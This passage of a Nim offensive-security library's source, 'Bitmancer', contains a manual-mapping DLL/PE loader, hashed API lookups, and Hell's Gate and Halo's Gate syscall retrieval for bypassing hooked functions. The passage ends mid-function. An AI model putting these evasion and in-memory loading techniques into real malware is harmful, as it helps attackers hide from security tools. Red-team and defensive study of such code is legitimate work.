cast[LoadLibrary](loadlibrary) 93 | cast[ModuleHandle](pLoadLibrary(cast[LPCSTR](addr msvcrt[0]))) 94 | else: 95 | ? CRT_BASE() 96 | 97 | if crtBase.isNil(): 98 | err ProcedureNotFound 99 | else: 100 | ok crtBase 101 | 102 | proc rawWriteStdOut*(s: cstring): NtResult[void] {.discardable.} = 103 | ## runtime writing to stdout, useful for debugging 104 | let 105 | crtBase = ? getCrtBase() 106 | cstdout = ? getAndInitStdout(crtBase) 107 | writeStream(crtBase, cstdout, s) 108 | 109 | -------------------------------------------------------------------------------- /src/Bitmancer/ldr.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | loader/[ldrexceptions, ldrlink, ldrmap, ldrutils] 23 | 24 | export 25 | ldrbase 26 | 27 | ## Manual Mapping Loader 28 | ## 29 | ## This module implements a manual mapper, capable of loading PEs, DLLs, or COFFs 30 | ## from Disk, Memory, or Remotely. 31 | ## 32 | ## Note: This is currently in progress! Unstable API 33 | ##------------------------------------------------------------------------ 34 | #[ 35 | TODO: 36 | - instead of taking the full path, accept any PWSTR, search according to the NT Loader's search order 37 | - increment & decrement DLL Dependencies when processing imports 38 | - free dependency DLLs when unloading context 39 | ]# 40 | 41 | ## Forward Declaration for recursion 42 | ##------------------------------------ 43 | proc eLoadLibrary*( 44 | flags: DWORD, 45 | fullName: PCWSTR, 46 | buffer: PVOID, 47 | bufferLen: ULONG 48 | ): NtResult[PLoadContext] 49 | 50 | include loader/ldrmapsnap 51 | 52 | ## FreeLibrary 53 | ##------------------------------------ 54 | proc eFreeLibrary*(ctx: PLoadContext): NtResult[void] = 55 | result = ok() 56 | 57 | ## TODO: decrement load counts of all DLLs the module depends on 58 | 59 | ## Unlink the module 60 | if ctx.linked(): 61 | if (let unlink = ldrUnlinkModule(ctx); unlink.isErr()): 62 | result = unlink 63 | 64 | ## Remove exceptions 65 | if ctx.entry.isSet(InExceptionTable): 66 | if (let remove = rtlRemoveInvertedFuncTableEntry ctx.entry.DLLBase.ModuleHandle; remove.isErr()): 67 | result = remove 68 | 69 | ## Unmap module 70 | if not ctx.entry.DLLBase.isNil(): 71 | if (let unmap = LDR_UNMAP_MODULE ctx; unmap.isErr()): 72 | result = unmap 73 | 74 | ## Remove Dependency Contexts 75 | ## TODO 76 | 77 | ## Remove Ldr Entry 78 | if not ctx.entry.isNil(): 79 | PROCESS_HEAP_FREE(ctx.entry) 80 | PROCESS_HEAP_FREE(cast[PVOID](ctx)) 81 | 82 | ## LoadLibrary 83 | ##------------------------------------ 84 | proc eLoadLibrary*( 85 | flags: DWORD, 86 | fullName: PCWSTR, 87 | buffer: PVOID, 88 | bufferLen: ULONG 89 | ): NtResult[PLoadContext] = 90 | ## Initialize Loader State 91 | ##------------------------- 92 | var loader = ? ldrInitialize(flags, fullName, buffer, bufferLen) 93 | 94 | ## Verify DLL not already loaded 95 | if LDR_MODULE_PRESENT loader: 96 | if not loader.entry.isNil(): 97 | PROCESS_HEAP_FREE(loader.entry) 98 | loader.entry = ? GET_LDR_LIST(loader.entry.BaseDllName.Buffer, LoadOrder) 99 | inc loader.entry.DdagNode.LoadCount 100 | return ok loader 101 | 102 | ## Map and Snap the Module 103 | ##------------------------- 104 | if (let mapsnap = ldrMapAndSnap loader; mapsnap.isErr()): 105 | ? eFreeLibrary loader 106 | return err mapsnap.error() 107 | 108 | ## Link Module to internal structures 109 | ##------------------------- 110 | if (let link = ldrLinkAndPrepareForExecution loader; link.isErr()): 111 | ? eFreeLibrary loader 112 | return err link.error() 113 | 114 | ## Call DLL Entrypoint 115 | ##------------------------- 116 | if (let entry = ldrCallModuleEntry loader; entry.isErr()): 117 | ? eFreeLibrary loader 118 | return err entry.error() 119 | 120 | ok loader 121 | 122 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrbase.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../ntdll 22 | 23 | export 24 | ntdll 25 | 26 | ## Loader Options 27 | ##------------------------------------------------------------------------ 28 | const 29 | LOAD_LOCAL* = 0x00000001 30 | LOAD_REMOTE* = 0x00000002 31 | LOAD_MEMORY* = 0x00000003 32 | FORMAT_COFF* = 0x00000010 33 | FORMAT_IMAGE* = 0x00000020 34 | RUN_UNDER_LDR_LOCK* = 0x01000000 35 | 36 | template SET_LOAD_LOCAL*(flags: var DWORD) = 37 | flags |= LOAD_LOCAL 38 | 39 | template SET_LOAD_MEMORY*(flags: var DWORD) = 40 | flags |= LOAD_MEMORY 41 | 42 | template SET_LOAD_REMOTE*(flags: var DWORD) = 43 | flags |= LOAD_REMOTE 44 | 45 | template SET_FORMAT_COFF*(flags: var DWORD) = 46 | flags |= FORMAT_COFF 47 | 48 | template SET_FORMAT_IMAGE*(flags: var DWORD) = 49 | flags |= FORMAT_IMAGE 50 | 51 | template SET_RUN_UNDER_LDR_LOCK*(flags: var DWORD) = 52 | flags |= RUN_UNDER_LDR_LOCK 53 | 54 | ## Loader Context 55 | ##------------------------------------------------------------------------ 56 | type 57 | LoadContext* {.byCopy.} = object 58 | flags*: DWORD 59 | dependencies*: LIST_ENTRY 60 | entry*: PLDR_DATA_TABLE_ENTRY 61 | buffer*: PVOID 62 | bufferLen*: DWORD 63 | fileHandle*: HANDLE 64 | sectHandle*: HANDLE 65 | PLoadContext* = ptr LoadContext 66 | 67 | template LDR_MODULE_PRESENT*(ctx: PLoadContext): bool = 68 | MODULE_LOADED(ctx.entry.BaseDllName.Buffer, MemoryOrder) 69 | 70 | template LDR_MODULE_VALID*(ctx: PLoadContext): bool = 71 | PE_VALID ctx.buffer.ModuleHandle 72 | 73 | proc init*( 74 | T: typedesc[PLoadContext], 75 | flags: DWORD, 76 | fullDLLName: UNICODE_STRING, 77 | baseDLLName: UNICODE_STRING, 78 | buffer: PVOID, 79 | bufferLen: ULONG 80 | ): NtResult[PLoadContext] = 81 | var 82 | base = ? PROCESS_HEAP_ALLOC(LoadContext) 83 | entry = ? PROCESS_HEAP_ALLOC(LDR_DATA_TABLE_ENTRY) 84 | ctx = cast[PLoadContext](base) 85 | ctx.flags = flags 86 | ctx.dependencies = LIST_ENTRY() 87 | ctx.entry = cast[PLDR_DATA_TABLE_ENTRY](entry) 88 | ctx.buffer = buffer 89 | ctx.bufferLen = bufferLen 90 | ctx.entry.FullDllName = fullDLLName 91 | ctx.entry.BaseDllName = baseDLLName 92 | INIT_LIST_ENTRY ctx.dependencies 93 | ok ctx 94 | 95 | ## Loader Initialization 96 | ##------------------------------------ 97 | proc ldrInitialize*( 98 | flags: DWORD, 99 | fullName: PCWSTR, 100 | buffer: PVOID, 101 | bufferLen: ULONG 102 | ): NtResult[PLoadContext] = 103 | ## Initializes the Loader's Load Context 104 | ##----------------------------------- 105 | if fullName.isNil() or fullName.len() > MAX_PATH: 106 | return err InvalidBuffer 107 | 108 | var 109 | baseDLLName = UNICODE_STRING() 110 | fullDLLName = UNICODE_STRING() 111 | let baseName = ? pathFindFileNameW(fullName) 112 | 113 | RTL_INIT_EMPTY_UNICODE_STRING(fullDLLName, fullName, fullName.len.USHORT) 114 | RTL_INIT_EMPTY_UNICODE_STRING(baseDLLName, baseName, baseName.len.USHORT) 115 | 116 | PLoadContext.init( 117 | flags, 118 | fullDLLName, 119 | baseDLLName, 120 | buffer, 121 | bufferLen 122 | ) 123 | 124 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrmap.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | mappings/[memory, native, remote], 22 | ldrcfg, ldrexceptions 23 | 24 | export 25 | ldrbase 26 | 27 | ## Loader Map 28 | ##------------------------------------------------------------------------ 29 | 30 | ## Helper Templates 31 | ##------------------------------------ 32 | template LDR_MAP_MODULE*(ctx: PLoadContext): NtResult[void] = 33 | case LOBYTE(ctx.flags) 34 | of ord LoadLocal: ldrMapNativeModule ctx 35 | of ord LoadMemory: ldrMapMemoryModule ctx 36 | of ord LoadRemote: ldrMapRemoteModule ctx 37 | else: err InvalidFlags 38 | 39 | template LDR_UNMAP_MODULE*(ctx: PLoadContext): NtResult[void] = 40 | case LOBYTE(ctx.flags) 41 | of ord LoadLocal: ldrUnmapNativeModule ctx 42 | of ord LoadMemory: ldrUnmapMemoryModule ctx 43 | of ord LoadRemote: ldrUnmapRemoteModule ctx 44 | else: err InvalidFlags 45 | 46 | ## Loader Post-Mapping Private Routines 47 | ##------------------------------------ 48 | proc ldrCompleteMappedModule(ctx: PLoadContext): NtResult[void] = 49 | ## Complete Mapped DLL's relocations 50 | let 51 | imageBase = ctx.entry.DLLBase.ModuleHandle 52 | NtHeaders = ? imageNtHeader imageBase 53 | baseOffset = cast[ULONG_PTR](ctx.entry.DLLBase -! NtHeaders.OptionalHeader.ImageBase) 54 | 55 | ## Update DLL's entries with the new base address 56 | if baseOffset != 0 and NtHeaders.OptionalHeader.DLLCharacteristics && IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE: 57 | let relocations = ? getRelocationDirectory(imageBase) 58 | for reloc in relocations.relocs(): 59 | for fixup in reloc.fixups(): 60 | case fixup.Type 61 | of IMAGE_REL_BASED_DIR64: 62 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += baseOffset 63 | of IMAGE_REL_BASED_HIGHLOW: 64 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(baseOffset) 65 | of IMAGE_REL_BASED_HIGH: 66 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(HIWORD(baseOffset)) 67 | of IMAGE_REL_BASED_LOW: 68 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(LOWORD(baseOffset)) 69 | else: 70 | ## TODO 71 | continue 72 | 73 | ## Update NtHeaders 74 | NtHeaders.OptionalHeader.ImageBase = cast[ULONGLONG](ctx.entry.DLLBase) 75 | ok() 76 | 77 | proc ldrProcessMappedModule(ctx: PLoadContext): NtResult[void] = 78 | let 79 | imageBase = ctx.entry.DLLBase.ModuleHandle 80 | NtHeaders = ? imageNtHeader imageBase 81 | 82 | ## Validate Entrypoint 83 | if NtHeaders.OptionalHeader.SizeOfHeaders > NtHeaders.OptionalHeader.AddressOfEntryPoint: 84 | return err ImageInvalid 85 | 86 | ctx.entry.OriginalBase = NtHeaders.OptionalHeader.ImageBase 87 | 88 | ? ldrCfgProcessLoadConfig ctx 89 | ldrProcessExceptions ctx 90 | 91 | ## Loader Map Module 92 | ##------------------------------------ 93 | proc ldrMapModule*(ctx: PLoadContext): NtResult[void] = 94 | ## Map the DLL into memory 95 | ? LDR_MAP_MODULE ctx 96 | ## Complete the mapped DLL 97 | ? ldrCompleteMappedModule ctx 98 | ## Process the mapped DLL 99 | ldrProcessMappedModule ctx 100 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrexceptions.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ldrlocks 23 | 24 | export 25 | ldrlocks 26 | 27 | ## Exceptions 28 | ##------------------------------------------------------------------------ 29 | const 30 | MaxCount = 0x200 31 | 32 | ## Private 33 | ##------------------------------------ 34 | proc getLdrProtectMrData(): NtResult[LdrProtectMrData] = 35 | const 36 | RtlDeleteFunctionTableHash = ctDjb2 "RtlDeleteFunctionTable" 37 | let 38 | Ntdll = ? NTDLL_BASE() 39 | pLdrProtectMrData = ? getNestedProcAddress(Ntdll, RtlDeleteFunctionTableHash, 0) 40 | ok cast[LdrProtectMrData](pLdrProtectMrData) 41 | 42 | ## Public 43 | ##------------------------------------ 44 | proc ldrProtectMrdata*(protect: BOOL): NtResult[void] = 45 | let pLdrProtectMrData = ? getLdrProtectMrData() 46 | pLdrProtectMrData(protect) 47 | ok() 48 | 49 | proc getLdrpInvertedFuncTable*(): NtResult[PINVERTED_FUNCTION_TABLE] = 50 | let 51 | Ntdll = ? NTDLL_BASE() 52 | NtHeaders = ? imageNtHeader Ntdll 53 | ExcDirHeaders = ? getExceptionDirectoryHeader(Ntdll) 54 | entry = INVERTED_FUNCTION_TABLE_ENTRY( 55 | Union1: INVERTED_FUNCTION_TABLE_ENTRY_UNION( 56 | FunctionTable: EXCEPTION_DIRECTORY(Ntdll, ExcDirHeaders)), 57 | ImageBase: cast[PVOID](Ntdll), 58 | SizeOfImage: NtHeaders.OptionalHeader.SizeOfImage, 59 | SizeOfTable: ExcDirHeaders.Size 60 | ) 61 | ## Search .mrdata section for corresponding INVERTED_FUNCTION_TABLE_ENTRY's based on it's 62 | ## pointer to the Exception Directory (Union1.FunctionTable). 63 | ## The first entry will be 0x10 offset from the LdrpInvertedFunctionTable Header, 64 | ## which sets its MaxCount field to 0x200 (512)and Overflow to 0. 65 | let pMrDataSection = ? getMrdataSection(Ntdll) 66 | var pBeginAddr = SECTION_START(Ntdll, pMrDataSection) 67 | 68 | while pBeginAddr < SECTION_END(Ntdll, pMrDataSection) -! sizeof(INVERTED_FUNCTION_TABLE_ENTRY): 69 | 70 | if cmpMem(pBeginAddr, cast[PVOID](unsafeAddr entry), sizeof(INVERTED_FUNCTION_TABLE_ENTRY)) == 0: 71 | ## First entry is 0x10 from the LdrpInvertedFunctionTable 72 | let table = cast[PINVERTED_FUNCTION_TABLE](pBeginAddr -! 0x10) 73 | 74 | ## Check if we're at the first entry 75 | if table.MaximumSize == MaxCount and table.OverFlow == 0: 76 | return ok table 77 | 78 | inc pBeginAddr 79 | 80 | err SearchNotFound 81 | 82 | proc rtlInsertInvertedFuncTableEntry*(imageBase: ModuleHandle, imageSize: SIZE_T): NtResult[void] = 83 | let InvertedFunctionTable = ? getLdrpInvertedFuncTable() 84 | ? ldrProtectMrdata(FALSE) 85 | result = rtlpInsertInvertedFuncTableEntry(InvertedFunctionTable, imageBase, imageSize) 86 | ? ldrProtectMrdata(TRUE) 87 | 88 | proc rtlRemoveInvertedFuncTableEntry*(imageBase: ModuleHandle): NtResult[void] = 89 | let InvertedFunctionTable = ? getLdrpInvertedFuncTable() 90 | ? ldrProtectMrdata(FALSE) 91 | rtlpRemoveInvertedFuncTableEntry(InvertedFunctionTable, imageBase) 92 | ? ldrProtectMrdata(TRUE) 93 | 94 | proc ldrProcessExceptions*(ctx: PLoadContext): NtResult[void] = 95 | let imageBase = ctx.entry.DLLBase.ModuleHandle 96 | ? rtlInsertInvertedFuncTableEntry(imageBase, ctx.entry.SizeOfImage) 97 | ctx.entry.setBit(InExceptionTable) 98 | ok() 99 | 100 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrcfg.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ldrbase 22 | 23 | export 24 | ldrbase 25 | 26 | ## Loader's Control Flow Guard routines 27 | ##------------------------------------------------------------------------ 28 | 29 | ## Security Cookie 30 | ##------------------------------------ 31 | proc ldrGenSecurityCookie(): NtResult[UINT_PTR] = 32 | var 33 | cookie = UINT_PTR 0 34 | perfCounter = LARGE_INTEGER() 35 | let time = getSystemTime() 36 | ? ntQueryPerformanceCounter(perfCounter, NULL) 37 | cookie = cast[UINT_PTR]((time.QuadPart shr 32) xor time.QuadPart) 38 | cookie ^= getProcessId() 39 | cookie ^= getThreadId() 40 | cookie ^= getTickCount() 41 | when defined(cpu64): 42 | cookie ^= perfCounter.QuadPart 43 | else: 44 | cookie ^= perfCounter.LowPart 45 | cookie ^= perfCounter.HighPart 46 | ok cookie 47 | 48 | proc ldrSetSecurityCookie(ctx: PLoadContext): NtResult[void] = 49 | let 50 | imageBase = ctx.entry.DLLBase.ModuleHandle 51 | NtHeaders = ? imageNtHeader(imageBase) 52 | lcHeader = getLoadConfigDirectoryHeader imageBase 53 | 54 | if lcHeader.isErr(): 55 | if lcHeader.error() in {DirectoryEmpty, DirectoryNotFound}: 56 | return ok() 57 | return err lcHeader.error() 58 | 59 | #let LoadConfig = cast[PIMAGE_LOAD_CONFIG_DIRECTORY](ctx.entry.DLLBase +! loadConfigDir.VirtualAddress) 60 | #if loadConfig.Size < offsetOf(IMAGE_LOAD_CONFIG_DIRECTORY, SecurityCookie) +% sizeof(LoadConfig.SecurityCookie): 61 | # return err ImageInvalid 62 | 63 | let LoadConfig = LOAD_CONFIG_DIRECTORY(imageBase, lcHeader.get()) 64 | ## Check LoadConfig's OS Versioning 65 | ## TODO 66 | 67 | ## Check if DLL uses Securiy Cookie 68 | if LoadConfig.GuardFlags && IMAGE_GUARD_SECURITY_COOKIE_UNUSED or LoadConfig.SecurityCookie == 0: 69 | return ok() 70 | 71 | ## Check if Cookie is out of bounds 72 | if cast[PBYTE](addr LoadConfig.SecurityCookie) < cast[PBYTE](ctx.entry.DLLBase) or 73 | cast[PBYTE](addr LoadConfig.SecurityCookie) >= cast[PBYTE](ctx.entry.DLLBase +! NtHeaders.OptionalHeader.SizeOfImage): 74 | return err ImageInvalid 75 | 76 | ## If Cookie is zero (not desired) or Cookie already set, return ok 77 | if LoadConfig.SecurityCookie != SECURITY_COOKIE_INITIAL or LoadConfig.SecurityCookie != SECURITY_COOKIE_16BIT_INITIAL: 78 | return ok() 79 | 80 | var newCookie = ? ldrGenSecurityCookie() 81 | 82 | ## only low 16 bits are needed 83 | if LoadConfig.SecurityCookie == SECURITY_COOKIE_16BIT_INITIAL: 84 | newCookie &= 0xFFFF 85 | 86 | ## if cookie matches, make it different 87 | if newCookie == SECURITY_COOKIE_INITIAL or newCookie == SECURITY_COOKIE_16BIT_INITIAL: 88 | inc newCookie 89 | 90 | when defined(cpu64): 91 | newCookie &= 0x0000FFFFFFFFFFFF 92 | 93 | LoadConfig.SecurityCookie = newCookie 94 | ok() 95 | 96 | proc ldrProcessCFG(ctx: PLoadContext): NtResult[void] = 97 | let NtHeaders = ? imageNtHeader ctx.entry.DllBase.ModuleHandle 98 | if NtHeaders.OptionalHeader.DLLCharacteristics && IMAGE_DLLCHARACTERISTICS_GUARD_CF: 99 | ## Set the Security Cookie, if required 100 | ? ldrSetSecurityCookie ctx 101 | ok() 102 | 103 | ## Public 104 | ##------------------------------------ 105 | proc ldrCfgProcessLoadConfig*(ctx: PLoadContext): NtResult[void] = 106 | ? ldrProcessCFG ctx 107 | ctx.entry.setBit(LoadConfigProcessed) 108 | ok() 109 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/locks.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core 23 | 24 | export 25 | core 26 | 27 | ## Hashes 28 | ##--------------------------------------------------------------------- 29 | const 30 | RtlAcquireSRWLockExclusiveHash* = ctDjb2 "RtlAcquireSRWLockExclusive" 31 | RtlInitializeSRWLockHash* = ctDjb2 "RtlInitializeSRWLock" 32 | RtlReleaseSRWLockExclusiveHash* = ctDjb2 "RtlReleaseSRWLockExclusive" 33 | RtlWaitForCriticalSectionHash* = ctDjb2 "RtlWaitForCriticalSection" 34 | RtlEnterCriticalSectionHash* = ctDjb2 "RtlEnterCriticalSection" 35 | RtlLeaveCriticalSectionHash* = ctDjb2 "RtlLeaveCriticalSection" 36 | 37 | ## Template Helpers for Common Locks 38 | ##--------------------------------------------------------------------- 39 | template LOCK_LOADER_LOCK*(): NtResult[void] = 40 | rtlEnterCriticalSection getLoaderLock() 41 | 42 | template UNLOCK_LOADER_LOCK*(): NtResult[void] = 43 | rtlLeaveCriticalSection getLoaderLock() 44 | 45 | template LOCK_PEB_LOCK*(): NtResult[void] = 46 | rtlEnterCriticalSection getPebFastLock() 47 | 48 | template UNLOCK_PEB_LOCK*(): NtResult[void] = 49 | rtlLeaveCriticalSection getPebFastLock() 50 | 51 | ## RtlAcquireSRWLockExclusive 52 | ##------------------------------------ 53 | proc getRtlAcquireSRWLockExclusive*(Ntdll: ModuleHandle): NtResult[RtlAcquireSRWLockExclusive] {.inline.} = 54 | let f = ? getProcAddress(Ntdll, RtlAcquireSRWLockExclusiveHash) 55 | ok cast[RtlAcquireSRWLockExclusive](f) 56 | 57 | proc rtlAcquireSRWLockExclusive*(srwlock: PRTL_SRWLOCK): NtResult[void] {.discardable.} = 58 | let 59 | Ntdll = ? NTDLL_BASE() 60 | pRtlAcquireSRWLockExclusive = ? getRtlAcquireSRWLockExclusive Ntdll 61 | pRtlAcquireSRWLockExclusive srwlock 62 | ok() 63 | 64 | ## RtlInitializeSRWLock 65 | ##------------------------------------ 66 | proc getRtlInitializeSRWLock*(Ntdll: ModuleHandle): NtResult[RtlInitializeSRWLock] {.inline.} = 67 | let f = ? getProcAddress(Ntdll, RtlInitializeSRWLockHash) 68 | ok cast[RtlInitializeSRWLock](f) 69 | 70 | proc rtlInitializeSRWLock*(lock: var RTL_SRWLOCK): NtResult[void] = 71 | let 72 | Ntdll = ? NTDLL_BASE() 73 | pRtlInitializeSRWLock = ? getRtlInitializeSRWLock Ntdll 74 | pRtlInitializeSRWLock lock 75 | ok() 76 | 77 | ## RtlReleaseSRWLockExclusive 78 | ##------------------------------------ 79 | proc getRtlReleaseSRWLockExclusive*(Ntdll: ModuleHandle): NtResult[RtlReleaseSRWLockExclusive] {.inline.} = 80 | let f = ? getProcAddress(Ntdll, RtlReleaseSRWLockExclusiveHash) 81 | ok cast[RtlReleaseSRWLockExclusive](f) 82 | 83 | proc rtlReleaseSRWLockExclusive*(srwlock: PRTL_SRWLOCK): NtResult[void] {.discardable.} = 84 | let 85 | Ntdll = ? NTDLL_BASE() 86 | pRtlReleaseSRWLockExclusive = ? getRtlReleaseSRWLockExclusive Ntdll 87 | pRtlReleaseSRWLockExclusive srwlock 88 | ok() 89 | 90 | ## RtlEnterCriticalSection 91 | ##------------------------------------ 92 | proc getRtlEnterCriticalSection*(Ntdll: ModuleHandle): NtResult[RtlEnterCriticalSection] {.inline.} = 93 | let f = ? getProcAddress(Ntdll, RtlEnterCriticalSectionHash) 94 | ok cast[RtlEnterCriticalSection](f) 95 | 96 | proc rtlEnterCriticalSection*(lock: PRTL_CRITICAL_SECTION): NtResult[void] = 97 | let 98 | Ntdll = ? NTDLL_BASE() 99 | pRtlEnterCriticalSection = ? getRtlEnterCriticalSection(Ntdll) 100 | NT_RESULT pRtlEnterCriticalSection lock: void 101 | 102 | ## RtlLeaveCriticalSection 103 | ##------------------------------------ 104 | proc getRtlLeaveCriticalSection*(Ntdll: ModuleHandle): NtResult[RtlLeaveCriticalSection] {.inline.} = 105 | let f = ? getProcAddress(Ntdll, RtlLeaveCriticalSectionHash) 106 | ok cast[RtlLeaveCriticalSection](f) 107 | 108 | proc rtlLeaveCriticalSection*(lock: PRTL_CRITICAL_SECTION): NtResult[void] = 109 | let 110 | Ntdll = ? NTDLL_BASE() 111 | pRtlLeaveCriticalSection = ? getRtlLeaveCriticalSection Ntdll 112 | NT_RESULT pRtlLeaveCriticalSection lock: void 113 | -------------------------------------------------------------------------------- /src/Bitmancer/syscalls/gates.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | base 22 | 23 | export 24 | base 25 | 26 | ## SSN "gate" retrieval implementations (with some small differences) 27 | ##------------------------------------------------------------------------ 28 | 29 | ## Hell's Gate 30 | ##------------------------------------ 31 | func hellsGateParse(pFunction: PVOID): SyscallResult = 32 | var index = WORD(0) 33 | while true: 34 | ## check if syscall, in this case we are too far 35 | if cast[PBYTE](pFunction +! index)[] == 0x0F and cast[PBYTE](pFunction +! (index+1))[] == 0x05: 36 | return err SyscallNotFound 37 | ## check if ret, in this case we are also probaly too far 38 | if cast[PBYTE](pFunction +! index)[] == 0xC3: 39 | return err SyscallNotFound 40 | ## check for SSN 41 | if (result = checkStub(pFunction, DWORD(index)); result.isOk()): 42 | return 43 | inc index 44 | 45 | proc hellsGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 46 | let pFunc = ? getProcAddress(imageBase, ident) 47 | hellsGateParse(pFunc) 48 | 49 | proc hellsGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult = 50 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident) 51 | hellsGateParse(pFunc) 52 | 53 | template hellsGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult = 54 | when symEnum == UseEAT: hellsGateEat(imageBase, ident) 55 | elif symEnum == UseIAT: hellsGateIat(imageBase, ident) 56 | 57 | ## Halo's Gate 58 | ##------------------------------------ 59 | func halosGateParse(pFunction: PVOID): SyscallResult = 60 | ## check for SSN 61 | if (result = checkStub(pFunction, 0); result.isOk()): 62 | return 63 | ## if hooked, check the neighborhood to find clean syscall 64 | if 